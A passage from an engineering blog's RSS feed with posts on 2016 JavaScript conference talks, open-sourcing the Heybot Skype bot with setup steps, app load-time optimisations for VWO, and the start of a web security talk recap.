style=&quot;text-align: center;&quot;&gt; &lt;img src=&quot;/images/2016/12/meetup.jpg&quot;&gt; &lt;/p&gt; This is a monthly meetup that happens in London. This time the focus of the [meetup][2] was JavaScript Security and Neural Networks. I got a really good response after my talk. The venue was Skills Matter Office where a couple of other meetups were going on simultaneously. I realized this when I went into another arena searching for food and none of the people seemed to recognize me. &lt;p&gt;The other talk during the event was on &quot;Classifying Numbers as Odd or Even With Neural Networks,&quot; by Matt Zeunert. It was quite informative.&lt;/p&gt; &lt;h3 id=&quot;3-seleniumconf-uk-14th-16th-november-2016&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#3-seleniumconf-uk-14th-16th-november-2016&quot; aria-label=&quot;3 seleniumconf uk 14th 16th november 2016 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;a href=&quot;http://2016.seleniumconf.co.uk/&quot;&gt;3) SeleniumConf UK (14th-16th November 2016)&lt;/a&gt;&lt;/h3&gt; &lt;p style=&quot;text-align: center;&quot;&gt; &lt;img width=&quot;700&quot; height=&quot;350&quot; src=&quot;/images/2016/12/seleniumconf.png&quot;&gt; &lt;/p&gt; [SeleniumConf][12] is an event focused on Web Testing and brings together Selenium developers and enthusiasts from around the world to share ideas, socialize, and work together on advancing the present and future success of the project. &lt;p style=&quot;text-align: center;&quot;&gt; &lt;img src=&quot;/images/2016/12/talk.jpg&quot;&gt; &lt;/p&gt; My talk in this conference was about &lt;b&gt;Web Security and Efficient Penetration Testing&lt;/b&gt;. I gave a &lt;i&gt;live demo&lt;/i&gt; of my recent finding (security vulnerability) in InVision. With the help of [Burp Suite][16] and [BeEf][15], I demonstrated how a malicious comment in Invision App can be used to control browser and steal information. You can read more about the vulnerability details I published in [Hackernoon][4]. &lt;p&gt; Here are the links to the &lt;a href=&quot;https://www.youtube.com/watch?v=csE5tp94wfw&quot;&gt;video&lt;/a&gt; and &lt;a href=&quot;https://speakerdeck.com/djadmin/beyond-scanning&quot;&gt;slides&lt;/a&gt;.&lt;/p&gt; &lt;h3 id=&quot;4-half-stack-conference-18th-november-2016&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#4-half-stack-conference-18th-november-2016&quot; aria-label=&quot;4 half stack conference 18th november 2016 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;a href=&quot;http://halfstackconf.com/&quot;&gt;4) Half Stack Conference (18th November 2016)&lt;/a&gt;&lt;/h3&gt; &lt;p style=&quot;text-align: center;&quot;&gt; &lt;img src=&quot;/images/2016/12/chris.jpg&quot;&gt; &lt;/p&gt; [HalfStack][17] is a one-day, single track, fun and unique JS conf in a pub 🍺. It was good to sit down and listen to [Christian Heilmann][3], [Remy Sharp][20] and [Dylan Schiemann][21]. There were a lot of other interesting talks at the conference. Video recording for all sessions are available [here][19]. &lt;p&gt;After the conference, we went to another pub for a &quot;JavaScript Pub Quiz.&quot;&lt;/p&gt; &lt;p&gt;The following is an emoji mathematical example given by &lt;a href=&quot;https://twitter.com/novemberborn&quot;&gt;Mark Wubben&lt;/a&gt; in his talk on Babel&lt;/p&gt; &lt;p&gt;🍺 + 🍺 = 🍻&lt;/p&gt; &lt;p&gt;🍻 + 🍻 = 😆&lt;/p&gt; &lt;p&gt;(🍻 * 🍻)^🍻 = 😵&lt;/p&gt; &lt;hr&gt; #### To sum up I got to learn a lot from my travels. I would encourage everyone to follow and attend such conferences and events. &lt;p style=&quot;text-align: center;&quot;&gt; &lt;img width=&quot;400&quot; height=&quot;300&quot; src=&quot;/images/2016/12/swag.jpg&quot;&gt; &lt;img width=&quot;400&quot; height=&quot;300&quot; src=&quot;/images/2016/12/node_swag.jpg&quot;&gt; &lt;/p&gt; &lt;p&gt;You can keep an eye on the &lt;a href=&quot;https://github.com/prigara/javascript-conferences#2017&quot;&gt;list of FrontEnd Conferences for 2017&lt;/a&gt; and follow Himanshu&apos;s &lt;a href=&quot;https://twitter.com/himkp/lists/frontend-conferences&quot;&gt;twitter list&lt;/a&gt; to stay up-to-date.&lt;/p&gt; &lt;p&gt;Happy Holidays! 🎄🎁&lt;/p&gt;</content:encoded><author>Dheeraj Joshi</author></item><item><title><![CDATA[Heybot! - Our skype bot]]></title><description><![CDATA[Few days back, we open-sourced our internal Skype bot to the world. Its called Heybot!, but we call it Ramukaka at Wingify :) Whether its…]]></description><link>https://engineering.wingify.com//posts/heybot-your-skype-bot/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/heybot-your-skype-bot/</guid><pubDate>Fri, 23 Dec 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Few days back, we open-sourced our internal Skype bot to the world. Its called &lt;a href=&quot;https://github.com/wingify/heybot&quot;&gt;Heybot!&lt;/a&gt;, but we call it Ramukaka at Wingify :) Whether its about running a jenkins build or getting a customer info from account ID, Ramukaka does it all for us.&lt;/p&gt; &lt;p&gt;Heybot! gives you a simple framework to write commands that you can run, with provision of restricted access to some commands by power users only. Its written over &lt;a href=&quot;https://dev.botframework.com/&quot;&gt;Microsoft&apos;s bot framework&lt;/a&gt;, designed to be extensible for any sort of task in small and large teams. Bot framework based bots work out of the box with Skype, but the same bots can act as a base for a Messenger, slack etc bot too.&lt;/p&gt; &lt;p&gt;So if your team communication is on Skype (or even if you work alone) and regularly do some tasks which could be automated through a command, Heybot! can definitely prove useful for you. Lets see how you can quickly set it up for Skype.&lt;/p&gt; &lt;h3 id=&quot;installing&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#installing&quot; aria-label=&quot;installing permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Installing&lt;/h3&gt; &lt;p&gt;Heybot! is written in NodeJS. To set it up on a server you need to clone the Github repository first:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;shell&quot;&gt;&lt;pre class=&quot;language-shell&quot;&gt;&lt;code class=&quot;language-shell&quot;&gt;&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; clone git@github.com:wingify/heybot.git&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;and run &lt;code class=&quot;language-text&quot;&gt;npm install&lt;/code&gt; in the repository folder to install all the required dependencies.&lt;/p&gt; &lt;h3 id=&quot;setup&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#setup&quot; aria-label=&quot;setup permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Setup&lt;/h3&gt; &lt;p&gt;Before you can start using the bot on Skype, you need to create a bot and register it with Microsoft as an app. Create a Microsoft app as directed &lt;a href=&quot;https://docs.botframework.com/en-us/csharp/builder/sdkreference/gettingstarted.html#registering&quot;&gt;here&lt;/a&gt;. When you register your bot, you&apos;ll have to give it a name of your choice that will be used in Skype chat to talk with it.&lt;/p&gt; &lt;p&gt;Once you register the bot, you&apos;ll have an app ID and app Password with you. Go ahead and create a copy of the file &lt;code class=&quot;language-text&quot;&gt;creds.template.js&lt;/code&gt; into &lt;code class=&quot;language-text&quot;&gt;creds.js&lt;/code&gt; and replace the ID and password in it. If you don&apos;t want to store the ID and password in that readable file, you can have the same keys set as environment variables and Heybot will read from there. Note, that you still need to have a dummy &lt;code class=&quot;language-text&quot;&gt;creds.js&lt;/code&gt; file.&lt;/p&gt; &lt;p&gt;The bot framework requires the bot server to be running on a valid secure connection. Therefore, you&apos;ll need to provide the Heybot with your domain&apos;s SSL certificates (the .crt and .key files). Place them in the repository folder as &lt;code class=&quot;language-text&quot;&gt;ssl.cert&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;ssl.key&lt;/code&gt;.&lt;/p&gt; &lt;h3 id=&quot;running-the-bot-server&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#running-the-bot-server&quot; aria-label=&quot;running the bot server permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Running the bot server&lt;/h3&gt; &lt;p&gt;Now that you have setup your bot, you can run the bot server by running the command &lt;code class=&quot;language-text&quot;&gt;npm start&lt;/code&gt;. Similarly to stop it you can run &lt;code class=&quot;language-text&quot;&gt;npm stop&lt;/code&gt;.&lt;/p&gt; &lt;h3 id=&quot;adding-your-bot-on-skype&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#adding-your-bot-on-skype&quot; aria-label=&quot;adding your bot on skype permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Adding your bot on Skype&lt;/h3&gt; &lt;p&gt;The bot you setup would in most cases have commands that you use on day to day basis and it won&apos;t make sense to put such a bot publicly on the Microsoft bot marketplace. For this reason, you can keep you bot in preview mode - just available for you and anyone with the link to add the bot.&lt;/p&gt; &lt;p&gt;Go to your bot&apos;s page from &lt;a href=&quot;https://dev.botframework.com/bots&quot;&gt;https://dev.botframework.com/bots&lt;/a&gt;. Now click on the &lt;strong&gt;Add to Skype&lt;/strong&gt; button to add it to your skype.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2016/12/add-to-skype.png&quot;&gt; &lt;/div&gt; &lt;p&gt;Once you have added it your skype, you are all set to give it commands. Lets assume you gave your bot the name &lt;strong&gt;droid&lt;/strong&gt; while registering. You can test your new bot by starting a conversation with it and saying anything. If it replies with a Hello message, its working perfectly. You can then try out pre-loaded commands such as &lt;code class=&quot;language-text&quot;&gt;!bored&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;!sad&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;!bitcoin&lt;/code&gt; etc.&lt;/p&gt; &lt;p&gt;If you add the bot to a group chat, you can give it command by simply mentioning its name before the command&apos;s usual syntax. Eg. &lt;code class=&quot;language-text&quot;&gt;@Droid !bored&lt;/code&gt;.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2016/12/chatscreen.png&quot;&gt; &lt;/div&gt; &lt;p&gt;There you go! Build your own commands and automate your daily boring tasks with Heybot! And do &lt;a href=&quot;https://github.com/wingify/heybot/issues&quot;&gt;tell us on Github&lt;/a&gt; about any feature request, suggestion or any cool command that you made for Heybot!&lt;/p&gt;</content:encoded><author>Kushagra Gour</author></item><item><title><![CDATA[Speeding Up VWO]]></title><description><![CDATA[About two years ago, Wingify had introduced the new generation of our Visual Website Optimizer to the world. Boasting a modern visual…]]></description><link>https://engineering.wingify.com//posts/speeding-up-vwo/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/speeding-up-vwo/</guid><pubDate>Sat, 17 Sep 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;About two years ago, Wingify had introduced the &lt;a href=&quot;https://vwo.com/blog/launching-new-vwo/&quot;&gt;new generation of our Visual Website Optimizer&lt;/a&gt; to the world. Boasting a modern visual interface, it also had many new features. We’ve come a long way since then. We’ve added even more features to it while improving the previous ones. But with continuous development, it becomes imperative to keep the app lean and fast as well. New features, unless proactively attended to, usually make apps slower. This effect is especially prominent in SPAs(Single Page Applications) which have to be downloaded first on the browser before they can execute. Thus, performance management is an iterative and continuous process. This post is largely a collection of our learnings and implementations done on/to our app to keep it lean and slick.&lt;/p&gt; &lt;p&gt;There are several types of performances when it comes to modern web applications. This blog post chiefly deals with our efforts in improving the app load time. This was also the first phase of the plan since the first things users notice is how soon can they start using the app.&lt;/p&gt; &lt;h3 id=&quot;performance-monitoring-tools&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#performance-monitoring-tools&quot; aria-label=&quot;performance monitoring tools permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Performance Monitoring Tools&lt;/h3&gt; &lt;p&gt;To measure performance, we’ve installed monitoring tools which help us visualize the improvement or deterioration of the app with every release made to production. The chief ones among them are:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;strong&gt;Speedcurve&lt;/strong&gt; — &lt;a href=&quot;https://speedcurve.com/&quot;&gt;Speedcurve&lt;/a&gt; generates a detailed report of the key metrics required to measure network performance. Speedcurve ensures that the each release is monitored. It has a detailed dashboard which shows the health of the app over a period of time. If there’s any negative impact in performance it sends a mail with details of the key performance parameters (like the content size of the page, content requests made by the page, page load time, rendering time etc.).&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Web Page Test Charts API&lt;/strong&gt; — We’ve also installed a custom flavour of Trulia’s open source &lt;a href=&quot;https://github.com/trulia/webpagetest-charts-api&quot;&gt;Webpage Test Charts API&lt;/a&gt; . Since both Speedcurve and Web Page Test Charts API essentially get the test results from webpagetest.org the benchmarking source is same. Web Page Test Charts API allows us to view other parameters which Speedcurve doesn’t show.&lt;/li&gt; &lt;/ol&gt; &lt;h3 id=&quot;performance-improvement-measures&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#performance-improvement-measures&quot; aria-label=&quot;performance improvement measures permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Performance Improvement Measures&lt;/h3&gt; &lt;p&gt;Apart from the tools placed to measure performance, we’d also been busy shipping the following boosts to the app: &lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;strong&gt;Upgrade to AngularJS 1.5&lt;/strong&gt; — While making the VWO App, two years back, the most stable version of AngularJS present was 1.2. Since then several versions have released with the latest one being 1.5. The &lt;a href=&quot;https://medium.com/google-developer-experts/angular-new-features-in-angularjs-1-5-24f9b503af15#.87u227j06&quot;&gt;features&lt;/a&gt; and performance benefits of 1.5 over 1.2 were convincing enough to make the move. But there were plenty of breaking changes which kept the Dev team as well as the QA team busy for quite some time in making sure that the upgraded code was bug free and the customers had a seamless transition. I’m glad to share that we’ve finally made the transition.&lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Move to HTTP/2 Protocol&lt;/strong&gt; — &lt;a href=&quot;https://en.wikipedia.org/wiki/HTTP/2&quot;&gt;HTTP/2 protocol&lt;/a&gt;, the successor of the HTTP 1.1 protocol and based loosely on the SPDY protocol provides several benefits. It enables multiplexing of resources across single TCP connection, compressing and reducing HTTP headers and also supports Server Push (The server can optimistically push resources to the browser which it understands that the browser might require). HTTP/2 has good browser support and is backward compatible with HTTP 1.1 which means browsers not supporting it can fallback to the older protocol.&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;/images/2016/09/http2-browser-support.png&quot; alt=&quot;HTTP/2 support&quot;&gt;&lt;/p&gt; &lt;div style=&quot;text-align:center&quot;&gt;HTTP/2 browser support information on Can I Use&lt;/div&gt; &lt;/li&gt; &lt;li&gt;&lt;strong&gt;Move to HTTPS&lt;/strong&gt; — HTTPS is a precondition for HTTP/2. So, yay!&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Reduce the initial app content on bootstrap&lt;/strong&gt; — We’ve reduced the initial app loading size by more than a 100 KBs (and more… or should I say &lt;strong&gt;less&lt;/strong&gt;… to come). This has been achieved due to the combined result of:&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Removing heavy libraries with their lighter counterparts&lt;/strong&gt; - We&apos;ve completely removed libraries like Angular Bootstrap and Chosen from our app dependency. These have been replaced by in-house implementations of the respective libraries.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Loading only the modules critical to bootstrap, on bootstrap&lt;/strong&gt; - On analyzing, our app&apos;s bootstrap process, we realized that several modules which weren&apos;t critical to it were still loaded. After some code refactor these modules have been eliminated from the process.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Splitting of vendor files into primary and secondary files&lt;/strong&gt; - More on that later in the post.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Implement better cache-bust mechanism&lt;/strong&gt; — We&apos;ve moved to naming our files based on &lt;a href=&quot;https://en.wikipedia.org/wiki/MD5&quot;&gt;MD5&lt;/a&gt; checksum of their content instead of naming them based on their timestamp of generation, which was the case earlier. This has resulted in generation of fewer unique files on every build. Only the files which are modified get renamed. &lt;/li&gt; &lt;li&gt;&lt;strong&gt;ETags for the index page&lt;/strong&gt; — The &lt;a href=&quot;https://en.wikipedia.org/wiki/HTTP_ETag&quot;&gt;ETag or entity tag&lt;/a&gt; based on the HTTP protocol allows the client to make conditional requests. This enhances the caching mechanism and saves bandwidth since the browser only makes the request when the file has changed. Ergo, better loading time!&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Split vendor files into primary and secondary&lt;/strong&gt; — It is a common practice in web development to combine all the libraries, required by the app, into a single file. Usually, this is called the vendor file and it gets downloaded entirely in the beginning. Often, several components of the vendor file aren’t required in the usual app usage, but they still get downloaded since it is a single bundle. We’ve divided the vendor file into two and split their content based on the frequency of usage. The first vendor file contains all the libraries which are absolutely necessary for the application to load. For example, AngularJS and its dependencies. The second vendor file is loaded on demand, based on modules which require less frequently required libraries, for example, Graph libraries to show graphs. By doing so we’ve cut a good chunk of approximately 200 KBs from the original monolithic vendor file, a considerable amount by any standard.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Implement login page in vanilla JS&lt;/strong&gt; — The VWO app is written in AngularJS framework. AngularJS is a heavy framework. To add to the woe it has tons of dependencies. The benefit of moving the login page out of AngularJS context, and keeping it in plain JS has a two-fold benefit. Firstly, the login page becomes lighter since it isn’t dependant on the framework anymore. Secondly, by utilising the time that the user takes in filling his credentials we can load, as much of the app, in the background, as possible. Thus, when the user is done signing in, a major portion of the app, if not all, would’ve already been downloaded.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Optimize images&lt;/strong&gt; - Though we used to optimize images earlier, it required the developers to manually run the task and commit those images to the repository. This was cumbersome and often developers would miss doing it. This has now been incorporated into our build process. Each image that now reaches the browser is optimized. &lt;/li&gt; &lt;/ol&gt; &lt;p&gt;We’ve come a long way from the initial VWO app that was made two years back. And we still have a lot to cover. As we see it, this is just the tip of the iceberg. We’ll be publishing more posts on the improvements that we push to the app. If you have any suggestions, queries or concerns feel free to drop a comment.&lt;/p&gt;</content:encoded><author>Dinkar Pundir</author></item><item><title><![CDATA[Secure Your Web Application @JSChannel Conference ’16]]></title><description><![CDATA[Recently, I spoke about securing Web Applications at JSChannel Conference ’16. The conference venue was The Ritz-Carlton, Bangalore…]]></description><link>https://engineering.wingify.com//posts/secure-your-web-apps/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/secure-your-web-apps/</guid><pubDate>Thu, 25 Aug 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Recently, I spoke about securing Web Applications at &lt;a href=&quot;http://2016.jschannel.com&quot;&gt;JSChannel Conference ’16&lt;/a&gt;. The conference venue was The Ritz-Carlton, Bangalore. JSChannel is a great conference to attend and to connect with some great people. And when I say great, I literally mean it. We met with Yehuda Katz (one of the creators of Ember.js), Lea Verou (Expert in the W3C CSS Working Group) &amp;#x26; Christian Lilley (Father of SVG) and experts from McKinsey.&lt;/p&gt; &lt;p style=&quot;text-align: center;&quot;&gt; &lt;img width=&quot;480&quot; height=&quot;360px&quot; src=&quot;/images/2016/08/jschannel_speakers.jpg&quot;&gt; &lt;/p&gt; &lt;p&gt;Three Wingifighters flew to attend and listen to this amazing conference and here we are, showing off some swag.🤘&lt;/p&gt; &lt;p style=&quot;text-align: center;&quot;&gt; &lt;img style=&quot;width:320px !important&quot; src=&quot;/images/2016/08/jschannel_swag.jpg&quot;&gt; &lt;img style=&quot;width:320px !important&quot; src=&quot;/images/2016/08/wingifighters.jpg&quot;&gt; &lt;/p&gt; &lt;p&gt;Day 1 was amazing. Rachit, having attended almost all the sessions, has shared his learning experience at the conference on the &lt;a href=&quot;http://team.wingify.com/a-wingifighters-account-of-speaking-and-listening-at-the-jschannel&quot;&gt;Team Wingify’s Space&lt;/a&gt;.&lt;/p&gt; &lt;h3 id=&quot;before-the-talk&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#before-the-talk&quot; aria-label=&quot;before the talk permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Before The Talk&lt;/h3&gt; &lt;p&gt;Speaking at a conference involves a lot of work before getting on stage. Preparation is crucial. I spent a good number of hours to jot down a list of security vulnerabilities to talk about and steps to mitigate them. I had to make sure none of my demonstrations exposed the vulnerabilities of the websites I chose to talk about.&lt;/p&gt; &lt;p&gt;And guess what, in my preparation for the demo, I actually found another way to bypass a previously reported vulnerability in time just before the conference. Keeping in mind the JavaScript conference and the audience, I made sure everything was related to Browser level and Node.js application attacks.&lt;/p&gt; &lt;h3 id=&quot;the-talk&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-talk&quot; aria-label=&quot;the talk permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The Talk&lt;/h3&gt; &lt;div style=&quot;width: 100%&quot;&gt; &lt;script async class=&quot;speakerdeck-embed&quot; data-id=&quot;73bbddb59072472a88de3b22005089f1&quot; data-ratio=&quot;1.77777777777778&quot; src=&quot;//speakerdeck.com/assets/embed.js&quot;&gt;&lt;/script&gt; &lt;p&gt;For the video, scroll down to the end of the post.&lt;/p&gt; &lt;/div&gt; &lt;p&gt;It all started with a humorous introduction and a show of my prowess!&lt;/p&gt; &lt;blockquote&gt; 